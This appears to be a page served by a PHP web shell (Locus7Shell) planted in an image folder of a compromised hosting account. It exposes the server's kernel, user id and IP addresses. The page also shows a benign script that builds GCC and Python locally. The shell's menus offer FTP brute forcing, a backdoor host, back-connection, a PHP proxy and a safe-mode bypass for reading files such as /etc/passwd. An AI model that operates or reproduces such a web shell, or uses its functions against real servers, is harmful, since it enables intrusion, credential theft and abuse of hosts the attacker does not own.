Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.112 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     gcc_python_installer.sh (1.78 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/bash

# Exit on errors
set -e

# Variables
GCC_VERSION="12.3.0"
GCC_TAR="gcc-$GCC_VERSION.tar.gz"
GCC_URL="http://ftp.gnu.org/gnu/gcc/gcc-$GCC_VERSION/$GCC_TAR"
GCC_DIR="gcc-$GCC_VERSION"
INSTALL_DIR="$HOME/localgcc"
PYTHON_VERSION="3.11.6"
PYTHON_TAR="Python-$PYTHON_VERSION.tgz"
PYTHON_URL="https://www.python.org/ftp/python/$PYTHON_VERSION/$PYTHON_TAR"
PYTHON_DIR="Python-$PYTHON_VERSION"

# Step 1: Download and build GCC locally
echo "Downloading GCC $GCC_VERSION..."
wget -q $GCC_URL -O $GCC_TAR
echo "Extracting GCC..."
tar -xf $GCC_TAR
cd $GCC_DIR

echo "Downloading GCC prerequisites..."
./contrib/download_prerequisites

echo "Creating build directory for GCC..."
mkdir -p build && cd build

echo "Configuring GCC..."
../configure --prefix=$INSTALL_DIR --disable-multilib --enable-languages=c,c++

echo "Building GCC... (this may take a while)"
make -j$(nproc)

echo "Installing GCC locally..."
make install

# Step 2: Add GCC to PATH
echo "Adding GCC to PATH..."
echo "export PATH=$INSTALL_DIR/bin:\$PATH" >> ~/.bashrc
export PATH=$INSTALL_DIR/bin:$PATH
cd ../..
echo "GCC installed successfully!"

# Step 3: Download and build Python locally
echo "Downloading Python $PYTHON_VERSION..."
wget -q $PYTHON_URL -O $PYTHON_TAR
echo "Extracting Python..."
tar -xf $PYTHON_TAR
cd $PYTHON_DIR

echo "Configuring Python..."
./configure --prefix=$HOME/localpython --enable-optimizations

echo "Building Python..."
make -j$(nproc)

echo "Installing Python locally..."
make install

# Step 4: Add Python to PATH
echo "Adding Python to PATH..."
echo "export PATH=$HOME/localpython/bin:\$PATH" >> ~/.bashrc
export PATH=$HOME/localpython/bin:$PATH

# Step 5: Verify installation
echo "Verifying installations..."
gcc --version
python3 --version

echo "Installation completed! Please run 'source ~/.bashrc' to finalize."

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--